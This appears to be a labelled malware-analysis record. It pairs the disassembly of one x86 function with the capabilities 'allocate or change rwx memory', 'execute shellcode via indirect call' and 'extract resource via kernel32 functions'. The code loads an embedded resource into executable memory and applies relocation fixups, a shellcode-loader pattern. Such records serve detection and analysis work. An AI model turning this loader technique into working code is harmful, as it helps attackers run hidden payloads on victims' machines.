Function at 0x100016c9
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x100ff8cb
call fcn.1009d70c
sub esp, 0x84
mov ecx, dword [0x10131388]
mov eax, dword [ecx]
push ebx
push esi
push edi
call dword [eax + 4]
mov dword [ebp - 0x14], eax
xor ebx, ebx
cmp eax, ebx
je 0x10001951
mov al, byte [ebp - 0x25]
push ebx
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x24], al
call fcn.10002047
push dword [ebp - 0x14]
call fcn.1009d120
pop ecx
push eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x24]
call fcn.10002275
cmp dword [ebp - 0x20], ebx
mov dword [ebp - 4], ebx
je 0x1000172d
lea ecx, [ebp - 0x24]
call fcn.1000201b
mov eax, dword [ebp - 0x20]
jmp 0x10001732
mov eax, 0x10105434
cmp byte [eax], 0x5f
jne 0x10001787
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x60]
push 0x1011277c
push eax
call fcn.10003185
add esp, 0xc
mov esi, eax
mov ecx, dword [0x10131388]
push dword [ebp - 0x14]
mov eax, dword [ecx]
mov byte [ebp - 4], 1
call dword [eax + 8]
push esi
mov ecx, 0x10131340
mov edi, eax
call fcn.10001d69
push 1
lea ecx, [ebp - 0x60]
mov dword [eax], edi
mov byte [ebp - 4], bl
call fcn.10002047
or dword [ebp - 4], 0xffffffff
push 1
jmp 0x10001936
cmp dword [ebp - 0x20], ebx
je 0x10001799
lea ecx, [ebp - 0x24]
call fcn.1000201b
mov eax, dword [ebp - 0x20]
jmp 0x1000179e
mov eax, 0x10105434
cmp byte [eax], 0x21
jne 0x100017db
push dword [0x10105430]
lea eax, [ebp - 0x80]
push 1
pop edi
push edi
push eax
lea ecx, [ebp - 0x24]
call fcn.10001bf3
push dword [0x10105430]
lea ecx, [ebp - 0x24]
push ebx
push eax
mov byte [ebp - 4], 2
call fcn.10001ecb
push edi
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], bl
call fcn.10002047
jmp 0x100017de
push 1
pop edi
cmp dword [ebp - 0x20], ebx
je 0x100017f0
lea ecx, [ebp - 0x24]
call fcn.1000201b
mov eax, dword [ebp - 0x20]
jmp 0x100017f5
mov eax, 0x10105434
movsx eax, byte [eax]
push eax
call fcn.1009dc3d
test eax, eax
pop ecx
jne 0x1000183c
push dword [0x10105430]
lea eax, [ebp - 0x90]
push edi
push eax
lea ecx, [ebp - 0x24]
call fcn.10001bf3
push dword [0x10105430]
lea ecx, [ebp - 0x24]
push ebx
push eax
mov byte [ebp - 4], 3
call fcn.10001ecb
push edi
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], bl
call fcn.10002047
xor esi, esi
cmp dword [ebp - 0x1c], ebx
jbe 0x100018cc
cmp dword [ebp - 0x1c], esi
jb 0x10001860
cmp dword [ebp - 0x20], ebx
je 0x10001860
lea ecx, [ebp - 0x24]
call fcn.1000201b
mov eax, dword [ebp - 0x20]
add eax, esi
jmp 0x10001865
mov eax, 0x10105434
movsx eax, byte [eax]
push eax
call fcn.1009dc3d
test eax, eax
pop ecx
jne 0x10001896
cmp dword [ebp - 0x1c], esi
jb 0x1000188c
cmp dword [ebp - 0x20], ebx
je 0x1000188c
lea ecx, [ebp - 0x24]
call fcn.1000201b
mov eax, dword [ebp - 0x20]
add eax, esi
jmp 0x10001891
mov eax, 0x10105434
cmp byte [eax], 0x5f
jne 0x1000189e
inc esi
cmp dword [ebp - 0x1c], esi
ja 0x1000184c
jmp 0x100018cc
push esi
push ebx
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x24]
call fcn.10001bf3
push dword [0x10105430]
lea ecx, [ebp - 0x24]
push ebx
push eax
mov byte [ebp - 4], 4
call fcn.10001ecb
push edi
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], bl
call fcn.10002047
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.100576d0
push eax
lea eax, [ebp - 0x70]
push 0x10112778
push eax
mov byte [ebp - 4], 5
call fcn.10003185
add esp, 0xc
mov esi, eax
mov ecx, dword [0x10131388]
push dword [ebp - 0x14]
mov eax, dword [ecx]
mov byte [ebp - 4], 6
call dword [eax + 8]
mov edx, eax
push esi
mov ecx, 0x10131340
mov dword [ebp - 0x14], edx
call fcn.10001d69
mov ecx, dword [ebp - 0x14]
mov dword [eax], ecx
push edi
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 5
call fcn.10002047
push edi
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], bl
call fcn.10002047
or dword [ebp - 4], 0xffffffff
push edi
lea ecx, [ebp - 0x24]
call fcn.10002047
mov ecx, dword [0x10131388]
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 0x14], eax
jmp 0x100016ec
push 0xa
push 0x457
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
cmp esi, ebx
jne 0x1000196a
call fcn.10001ac3
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
cmp esi, ebx
jne 0x1000197d
call fcn.10001ac3
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, ebx
mov dword [ebp - 0x10], eax
jne 0x10001990
call fcn.10001ac3
mov eax, dword [ebp - 0x10]
mov esi, dword [eax]
add dword [ebp - 0x10], 4
push 0x40
push 0x3000
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
push dword [ebp - 0x10]
mov dword [0x10131380], eax
push eax
call fcn.1009d8e0
add dword [ebp - 0x10], esi
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
add dword [ebp - 0x10], 4
add esp, 0xc
cmp eax, ebx
jle 0x10001a1a
mov edi, eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x3c]
push eax
call fcn.10001adc
mov eax, dword [0x10131380]
cmp dword [ebp - 0x2c], eax
mov dword [ebp - 4], 7
jl 0x100019f1
add eax, esi
cmp dword [ebp - 0x2c], eax
jl 0x100019f6
call fcn.10001ac3
lea eax, [ebp - 0x3c]
push eax
mov ecx, 0x10131360
call fcn.10001d69
mov ecx, dword [ebp - 0x2c]
or dword [ebp - 4], 0xffffffff
mov dword [eax], ecx
push 1
lea ecx, [ebp - 0x3c]
call fcn.10002047
dec edi
jne 0x100019cc
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
add dword [ebp - 0x10], 4
cmp eax, ebx
jle 0x10001a5e
mov edi, eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x3c]
push eax
call fcn.10001adc
mov esi, dword [ebp - 0x2c]
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 4], 8
call fcn.10001b63
or dword [ebp - 4], 0xffffffff
sub eax, esi
add dword [esi], eax
push 1
lea ecx, [ebp - 0x3c]
call fcn.10002047
dec edi
jne 0x10001a29
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
add dword [ebp - 0x10], 4
cmp eax, ebx
jle 0x10001aa0
mov edi, eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x50]
push eax
call fcn.10001adc
mov esi, dword [ebp - 0x40]
lea eax, [ebp - 0x50]
push eax
mov dword [ebp - 4], 9
call fcn.10001b63
add dword [esi], eax
or dword [ebp - 4], 0xffffffff
push 1
lea ecx, [ebp - 0x50]
call fcn.10002047
dec edi
jne 0x10001a6d
mov ecx, 0x10131340
call fcn.10002220
mov ecx, 0x10131360
call fcn.10002220
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret